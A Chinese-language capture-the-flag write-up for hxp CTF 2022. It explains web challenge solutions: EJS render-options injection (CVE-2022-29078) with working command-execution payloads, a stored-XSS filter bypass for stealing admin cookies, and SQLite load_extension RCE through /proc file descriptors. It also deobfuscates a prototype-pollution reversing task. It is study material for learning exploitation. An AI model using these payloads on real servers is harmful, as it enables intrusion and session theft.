hxpCTF2022wp
又跟着科恩疯狂偷学,天哥一人单刷全部web,我在科恩后面偷看答案复现
以及,这是一场在23年办的2022ctf
valentine
有效的代码部分如下
app.post('/template', function(req, res) {
let tmpl = req.body.tmpl;
let i = -1;
while((i = tmpl.indexOf("<%", i+1)) >= 0) {
if (tmpl.substring(i, i+11) !== "<%= name %>") {
res.status(400).send({message:"Only '<%= name %>' is allowed."});
return;
}
}
let uuid;
do {
uuid = crypto.randomUUID();
} while (fs.existsSync(`views/${uuid}.ejs`))
try {
fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
} catch(err) {
res.status(500).send("Failed to write Valentine's card");
return;
}
let name = req.body.name ?? '';
return res.redirect(`/${uuid}?name=${name}`);
});
app.get('/:template', function(req, res) {
let query = req.query;
let template = req.params.template
if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
res.status(400).send("Not a valid card id")
return;
}
if (!fs.existsSync(`views/${template}.ejs`)) {
res.status(400).send('Valentine\'s card does not exist')
return;
}
if (!query['name']) {
query['name'] = ''
}
return res.render(template, query);
});
可以提交一个模板然后渲染,模板处限制了模板内以<%
开头的内容只能是<%= name %>
,看起来好像有洞,实际上是无敌防御,然后是渲染流程,这里有一个地方写歪了,他直接将用户输入的query整个作为参数传入render,而不是{name: query['name']}
这种比较合理的形式,这会导致用户的输入会作为渲染时选项,进一步造成危害(总觉得以前看到过一个文章专门提到过这个写法的问题)
这个问题在22年居然申了一个CVE CVE-2022-29078
解1
触发的点位于ejs.js
的renderFile函数中,如下一段
else {
// Express 3 and 4
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
opts.views = data.settings.views;
}
if (data.settings['view cache']) {
opts.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
// Express 2 and lower, values set in app.locals, or people who just
// want to pass options in their data. NOTE: These values will override
// anything previously set in settings or settings['view options']
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
}
此处的opts后续会作为后续渲染的opts,而data即为render时传入的query
对象,如上面的CVE所言,data中settings属性的view options
属性会被完整的传递给opts,而不是传递到opts属性下的某个属性中,在用户完全可控render函数的options对象时,就等于完全可控此处了
那么,经典的outputFunctionName
还能不能用呢?
最后的渲染是在ejs/lib/ejs.js
的compile函数中,可以看到被拼进来的几个来自opts的值,比如outputFunctionName
,localsName
,destructuredLocals
都被过了一个_JS_IDENTIFIER.test()
进行正则判断,控制了也不能用了
但是还有一个值被拼进了代码,却没有被过滤
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
而这个escapeFn的定义是var escapeFn = opts.escapeFunction;
,很难不怀疑是不是修 的时候看这个值前面没有opts.
就漏掉了。当然,这个函数是用来对用户输入的html字符做转义的,本身也不能被简单的过滤。那么这个值能不能控制呢,看一下templates类中初始化都有哪些可控值
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
options.compileDebug = opts.compileDebug !== false;
options.debug = !!opts.debug;
options.filename = opts.filename;
options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
options.strict = opts.strict || false;
options.context = opts.context;
options.cache = opts.cache || false;
options.rmWhitespace = opts.rmWhitespace;
options.root = opts.root;
options.includer = opts.includer;
options.outputFunctionName = opts.outputFunctionName;
options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
options.views = opts.views;
options.async = opts.async;
options.destructuredLocals = opts.destructuredLocals;
options.legacyInclude = typeof opts.legacyInclude != 'undefined' ? !!opts.legacyInclude : true;
if (options.strict) {
options._with = false;
}
else {
options._with = typeof opts._with != 'undefined' ? opts._with : true;
}
this.opts = options;
还看了一圈,感觉所有的opts选项都是能被控制的,这个escapeFunction
也赫然在列
那么,控制这个地方就可以做到rce了,由于是对用户输入做转义,所以是对输入内容进行处理后返回,这个函数的返回值就直接是渲染上去的回显,也就是可以直接回显了
settings[view options][client]=1&settings[view options][escape]={}.constructor.constructor("return process.mainModule.require('child_process').execSync('/readflag')")
但是一发打过去并没有直接通,这里还有一个预留的坑,Dockerfile中有一句ENV NODE_ENV=production
,指定了在生产环境下运行,这会导致options中有一个cache选项被置为true,导致了模板函数只会产生一次,后续的渲染都会用之前构造好的模板函数进行,具体在ejs.js的handleCache
函数中
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
if (options.cache) {
if (!filename) {
throw new Error('cache option requires a filename');
}
func = exports.cache.get(filename); // 获取到之前的func就返回了
if (func) {
return func;
}
if (!hasTemplate) {
template = fileLoader(filename).toString().replace(_BOM, '');
}
}
else if (!hasTemplate) {
// istanbul ignore if: should not happen at all
if (!filename) {
throw new Error('Internal EJS error: no file name or template '
+ 'provided');
}
template = fileLoader(filename).toString().replace(_BOM, '');
}
func = exports.compile(template, options); // 这行会进入后续的渲染
if (options.cache) { // cache为true时渲染完成就将这个模板函数放入cache,下次再调用时在前面获取到已经编译过的模板就返回回去了
exports.cache.set(filename, func);
}
return func;
}
而本题在写入模板后会同时302用户访问模板进行渲染,导致cache出现,导致后续的payload打不通。解决方法有两种,1. 上burp抓包,不302重定向过去然后第一次访问带上payload打通,2. 等个 半天等cache过期或者被挤掉(没有仔细看cache生命周期)
解2
看到上面可控的那一堆opts参数,还有另一个在当前情况下可以利用,那就是delimiter
,因为本题是限制了<%
的出现,而<%
是ejs的默认标签,实际上这个值是可以被修改的,分别对应上述opts中的openDelimiter
,delimiter
,closeDelimiter
,只要将openDelimiter由<
改为其他值,就能绕过写入模板时的限制,类似于render_template_string
这种洞一样当场渲染,并且也直接将执行的结果进行输出
将<>
替换为12
即可1%= process.mainModule.require('child_process').execSync('/readflag') %2
控制cache
既然opt的每个值都能被控制,能不能反手控制cache,改成false禁用掉呢。说得好,然后试了一下发现并不行完全可以,具体原因也发生在我们用data.settings['view options']
来控制opt那块
在我们用view options控制了opts部分属性之后,还有一个utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
对将data中的数据赋值到了opt中,而这个_OPTS_PASSABLE_WITH_DATA_EXPRESS
为如下值
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
// We don't allow 'cache' option to be passed in the data obj for
// the normal `render` call, but this is where Express 2 & 3 put it
// so we make an exception for `renderFile`
var _OPTS_PASSABLE_WITH_DATA_EXPRESS = _OPTS_PASSABLE_WITH_DATA.concat('cache');
刚好加了个cache上去,那么data中的cache值又从哪来呢。这个过程发生在express/lib/application.js
的render
函数中,这里的renderOptions
就是我们后面的data,这里会因为express的配置显式的将cache赋值,此处由于是production环境,所以得到的结果是true,无法控制了捏
打完justCTF后update一下,这里显然是可以完全控制的,只要令renderOptions.cache是一个不为null的false值就行了,比如空字符串,这样子这里就不会进入赋值语句,cache变成用户控制的值。所以我当时是有多脑溢血能说出来这里不能控制?
// set .cache unless explicitly provided
if (renderOptions.cache == null) {
renderOptions.cache = this.enabled('view cache');
}
这个题是最简单的web,大家感觉都乱秒这个题。。。虽然说前面半截的利用确实老了点,但是之前我也没有好好调这种东西,并且一开始没有意识到洞在这个传入变量没写好上。。。控制住之后对后面的利用细节也不了解,临时调过还是花了几个小时,学到许多.jpg
archived
一个看了半天不知道在干什么然后实际做起来很简单的题。。。
开局给的docker file超级复杂,加上题目形式是一个bot+一个challenge,challenge还不搞公有环境,私有环境开出来还上一个代理,需要通过http header认证,导致我一个小时在读各种配置文件查这个题到底在干什么。。。(还是不熟java了,jetty能干嘛真不熟)
admin bot
没啥功能,因为题目的架构问题,所以又要输proxy密码又要输admin密码的,实际上就是访问一次题目的/repository/internal
路径,没了
challenge
真的给我看麻了都没看懂。。。
里面一个archiva.xml配了一堆东西,一个jetty.xml配了一堆东西,一个setup.sh配置了archiva一堆属性,entrypoint.sh启动了jetty,resource-retriever.sh下载archiva
然后我找了半天这到底起了个啥服务干了些啥。。。嗯是没看懂,jetty也不熟,搜了一下说是能当http服务器,也能用于机器间通信
主要是找了半天想找找源码之类的东西,结果最后发现就没有源码,就直接是jetty起了个archiva。。。
配置文件也没啥看的,实际上就是完整的给你提供了一个本地环境而已,要做的就是一个盲打xss
。。。看了半天啥也没学会
题解
远程是只有一个普通用户ctf的权限的,上去就一个功能上传文件,这个玩意感觉就是个maven仓库一样的东西,可以传文件然后group id artifacts id之类的,其中group id会出现在admin会访问的/repository/internal
中,放在a标签的href属性里面。
有简单的黑名单,尖括号直接新开标签是不允许的,但是可以直接双引号属性逃逸出来。。。然后可以从burp的xss cheatsheet里面抄一个payload,onfocus+autofocus触发xss
能xss然后反手偷cookie即可
但是xss过滤也不止一个尖括号,点斜杠什么的也不能用,这样子就不好外带数据了,但是绕过也很简单,eval(atob(base64....))
就直接过了,但是我一时间居然没有反应过来。。。鉴定为纯纯的菜逼
cookie偷出来之后直接在控制台document.cookie=
赋值就能访问上去,但是会出现一个报错说权限不够,需要额外认证,整了我们半天,最后本地开环境试了半天之后发现,这个admin是有两个cookie的,但是document.cookie赋值一次只能赋值上一个,分号后面的内容给忽略掉了,所以把整个cookie字段复制进去实际上只放进去了一个。。。需要把两个cookie分别赋值两次,第二次反而不会覆盖前面的而是添加一个新的上去
然后在admin界面乱点,在仓库管理那里可以更改仓库的根目录,改成文件系统根目录就能直接访问flag了
另:editthiscookie这个插件好像用不了了,不然就不会有这个问题了。。。
sqlite_web
又是一个没有源码的题,给出来的环境唯一作用为能够搭建本地复现环境,代码又是直接从github拉下来然后启动,用的是coleifer/sqlite-web
然后给数据库加了一层密,密钥是flag,flag也放到了根目录,配合了一个/readflag
,鉴定为需要rce,且数据库这块加密屁用没有,数据库里的数据也屁用没有(也许flag搞出来了之后解密出来是彩蛋)
彩蛋
确实是彩蛋,ad下的数据就是一个ad
Shameless self-ad ;) Star my repos https://github.com/Sandr0x00
hxp ctf, the only ctf with memes encrypted with the flag
Go on and solve more challenges now
之类的东西。。。出题人好闲,还整了这么多表加密这些屁话
题解
首先有了上一个题的教训,这把直接不看给的东西(实际上也没给啥东西)。先去看一眼给出的这个依赖有没有问题,简单的看了一下就一个py文件里面写了一堆,表下的query路由可以执行任意SQL语句,一次只能执行一条语句,简单的稍微追踪了一下,感觉也绕不过去,再之启动参数是nohup sqlite_web encrypted.db -x -r -e ./crypto -H 0.0.0.0 -p 80 &
,-r
加了readonly检查了一下也是不能绕的,等于一个只有一条语句任意执行且不能写的利用。
看一下几个选项-x
没什么用,-r
以只读模式启动,-e
加载插件,这里的crypto插件来自于nalgeon/sqlean,就提供了一hash函数,也就是这里用的sha256。但是你如果能加载插件的话,总觉得好像有操作空间了捏
sqlite加载插件的函数为load_extension
,第一个参数为插件路径,第二个参数为入口函数(可留空),如果在windows环境下,可以直接用网络文件共享加载远程插件,无敌利用。可惜这里是linux,不过load_extension确实符合了一个语句rce的条件,但问题在于怎么在本地文件系统上面创造一个文件呢?
首先sqlite写是做不到的,首先是read only模式,其次一次只能执行一条语句,attach database只能创建出一个空文件也无法后续继续写,再次是sqlite写出来的文件会有脏数据,有脏数据是不会被识别为合法的插件的。
翻一下sqlite_web
的源码,里面有一个 import路由,允许用户上传一个文件去导入数据到数据库中,如果上传的文件会以某种形式留存在磁盘上,就可以考虑条件竞争去抢,就像PHP的session upload progress一样
尝试上传,并使用chatgpt给的脚本监控文件目录
#!/bin/bash
# 监视当前目录下所有文件和子目录的变化
inotifywait -r -m -e create,delete,modify . |
# 读取事件流中的每一行
while read path action file; do
# 输出文件变化事件
echo "File $file in $path was $action"
done
结果为屁用没有,刚好看到源码在import中处理上传文件时有这么一段注释
# The SpooledTemporaryFile used by werkzeug does not
# implement an API that the TextIOWrapper expects, so we’ll
# just consume the whole damn thing and decode it.
# Fixed in werkzeug 0.15.
搜一下这个SpooledTemporaryFile
class tempfile.SpooledTemporaryFile(max_size=0, mode=’w+b’, buffering=- 1, encoding=None, newline=None, suffix=None, prefix=None, dir=None, *, errors=None)
这个类执行的操作与 TemporaryFile() 完全相同,但会将数据缓存在内存中直到文件大小超过 max_size,或者直到文件的 fileno() 方法被调用,这时文件内容会被写入磁盘并如使用 TemporaryFile() 时一样继续操作。
意思是只要够大就写磁盘了,梭一个1M的文件上去,脚本有动静了,但是名字是随机的,无法预测,凉了啊
转机
内存文件也有内存文件的好处,我一度居然忘记了无敌的proc文件系统,上传的文件直接可以在proc里面访问上,反而省去了猜名字,现在只要猜pid和fd就可以了
pid猜测这里有一点奇怪的玄学,或者说就不用猜了,python的app稳定在pid为7的进程上,说起来linux的进程号是随着进程的创建一直递增的,docker中由于启动顺序总是一致的且没有其他干扰(大概),导致app的pid稳定在了7,并且这里使用的是development时使用的werkzeug
,就一个进程跑,不会重启不会拉子进程,确保了pid的稳定性。确保了pid,剩下的fd就是选一个范围硬爆了
不过即使这样,内存文件的驻留时间也很短,竞争难度大。rmb提出了究极解决方案,通过修改content-length,可以强行让对方服务器等待后续内容,做到fd的长时间驻留(内容没收完居然也就在内存中有对应的fd了,真高级啊)
虽然理论上好像是这个样子的,但是我试了一下没有成功。。。(以及,burp repeater中关闭content length自动补全是在最上面那一排。。。我找了半天)还是得上脚本嗯爆,嗯爆成功的前提是知道pid固定为7
小小的疑惑点
如果先在web页面乱按了两下的话,会发现如果ext没有指定后缀的情况下,是会自动添加.so
后缀的,这里的启动方法也一样,-e crypto
,然后自动匹配了crypto.so
。就算你创建了对应的无后缀文件,load还是会去找那个.so
,一度让我怀疑proc能不能打,后来我发现似乎是当指定的这个文件不符合插件规则时才补齐.so后缀去找,我把题目给出的crypto.so复制一份到一个无后缀文件里再加载就跑起来了
true_web_assembly
真正的web assembly,指用汇编写一个网站,鉴定为坐牢,没看
但是还是有大哥给他整通了,看了下wp好像是content长度过大时title能xss,然后admin cookie是http only的,只能xss admin给用户升级到admin,升级完之后在设置里配置smtp_exec
项,该项目会在change email的时候被执行,xss出一个admin号然后手动操作后续应该就可以了8(大概)
至于为什么这个项会在这个时候触发,就是大哥们看汇编得到的结果了。。。
required
这个题的分类是逆向+web,所以我看了一下web部分
题目下下来是1k个js文件和一个require.js作为主文件,1k个文件里面还有缺失,实际上不满1k个
require的作用就是各种require前面的xxx.js并且加上参数调用,最后输出经过这一堆require处理过的flag,与0xd19ee193b461fd8d1452e7659acb1f47dc3ed445c8eb4ff191b1abfa7969
进行比较,相同就对了
部分内容如下
f=[...require('fs').readFileSync('./flag')]
require('./28')(753,434,790)
require('./157')(227,950,740)
require('./736')(722,540,325)
require('./555')(937,26,229)
require('./394')(192,733,981)
.....
看一眼28.js的内容
module.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={},Object.entries(require('./289')(i,j)).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${i}`))
首先是这一段i+=[],j+"",t=(t+{}).split("[")[0]
功能实际上就是把输入的数字变成字符串,然后require了289.js,看一眼289.js
module.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],JSON.parse(`{"__proto__":{"data":{"name":"./${i}","exports":{".": "./${j}.js"}},"path": "./"}}`))
返回了一个赋值好__proto__
的对象,而后面的这段forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v)))
操作就是在进行原型链污染,把__proto__
的各个属性赋值到空对象o上去,最后require i.js
但是实际上找一下会发现,i对应的很多文件是不存在的,这是怎么回事捏
这就要看这个奇怪的原型链污染操作了,污染了一些奇奇怪怪的东西,如果进行回忆之前balsn的那一个题,就能想起许多
balsnCTF2022
再跟着当时的情况调一下,如果没有package.json,原型链污染控制data和path,data需要和require中的字符串一致,就会去加载path下的exports。这样子就完美解释了捏
比如require('./555')(504,897,229)
,555.js内容如下
module.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={},Object.entries(require('./289')(j,t)).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${j}`))
实际上加载的是require(‘./289’)时的第二个参数t,也就是229.js,而非j对应的897.js这样子。而此时加载的脚本都是一些简单的位操作,对flag进行各种与或非移位之类的
module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[j]=f[j]^(f[j]>>1))
除了上述的简介加载和直接加载以外,还有一个特殊文件556.js,用来清理require.cache,不知道会不会影响原型链污染的加载情况,但是人工看了一下之后发现556.js后面没有接加载不存在文件的操作,所以忽略掉
module.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],Object.keys(require.cache).forEach(i=>{delete require.cache[i]}))
综上,写出来一个脚本还原整个加密操作
import re
def writeOp(content, funcArgs, outfile):
pattern = re.escape('module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],')
match = re.search(pattern+"(.*)\\)$", content)
if match:
func = match.groups()[0]
arr = re.search("\\(([0-9]+),([0-9]+),([0-9]+)\\)", funcArgs).groups()
arrInt = []
for element in arr:
arrInt.append(int(element) % 30)
func = func.replace('i', str(arrInt[0]))
func = func.replace('j', str(arrInt[1]))
func = func.replace('t', str(arrInt[2]))
outfile.writelines(func)
outfile.write("\n")
else:
outfile.writelines(content)
outfile.write("\n")
includefile = ''
with open(r"required.js", 'r') as infile:
with open(r"simplified.js", 'w') as outfile:
for line in infile:
# print(line)
match = re.search("require\\('\\./([0-9]{1,3})'\\)(\\(([0-9]{1,3}),([0-9]{1,3}),([0-9]{1,3})\\))", line)
if match:
try:
with open(r"{}.js".format(match.groups()[0]), 'r') as requirefile:
content = requirefile.read()
ijt = re.search("require\\('\\./289'\\)\\([ijt],([ijt])\\)", content)
# 有些文件没有require直接是位操作
if ijt:
index = ijt.groups()[0]
if index == 'i':
num = match.groups()[2]
elif index == 'j':
num = match.groups()[3]
elif index == 't':
num = match.groups()[4]
else:
raise RuntimeError("invalid index: {}".format(index))
includefile = num
with open(r"{}.js".format(num), 'r') as targetfile:
content = targetfile.read()
writeOp(content, match.groups()[1], outfile)
else:
writeOp(content, match.groups()[1], outfile)
# 有时候会直接在外面include不存在的文件,这个时候就是靠之前污染的值去加载
except FileNotFoundError:
with open(r"{}.js".format(includefile), 'r') as f:
content = f.read()
writeOp(content, match.groups()[1], outfile)
else:
outfile.writelines(line)
outfile.write("\n")
这点内容我写了一个多小时。。。coding能力还是太差了捏呜呜呜,并且后面这半边还需要把对应的加密环节逆向回去,这就超出我的能力范围了
真不知道tkmk神仙怎么做到的一个小时就做出来了。。。太强了8
又,这种混淆应该用ast写会更稳定一些,不过这里的整个混淆的结构都很简单并且很固定,直接写正则也不是不行。。。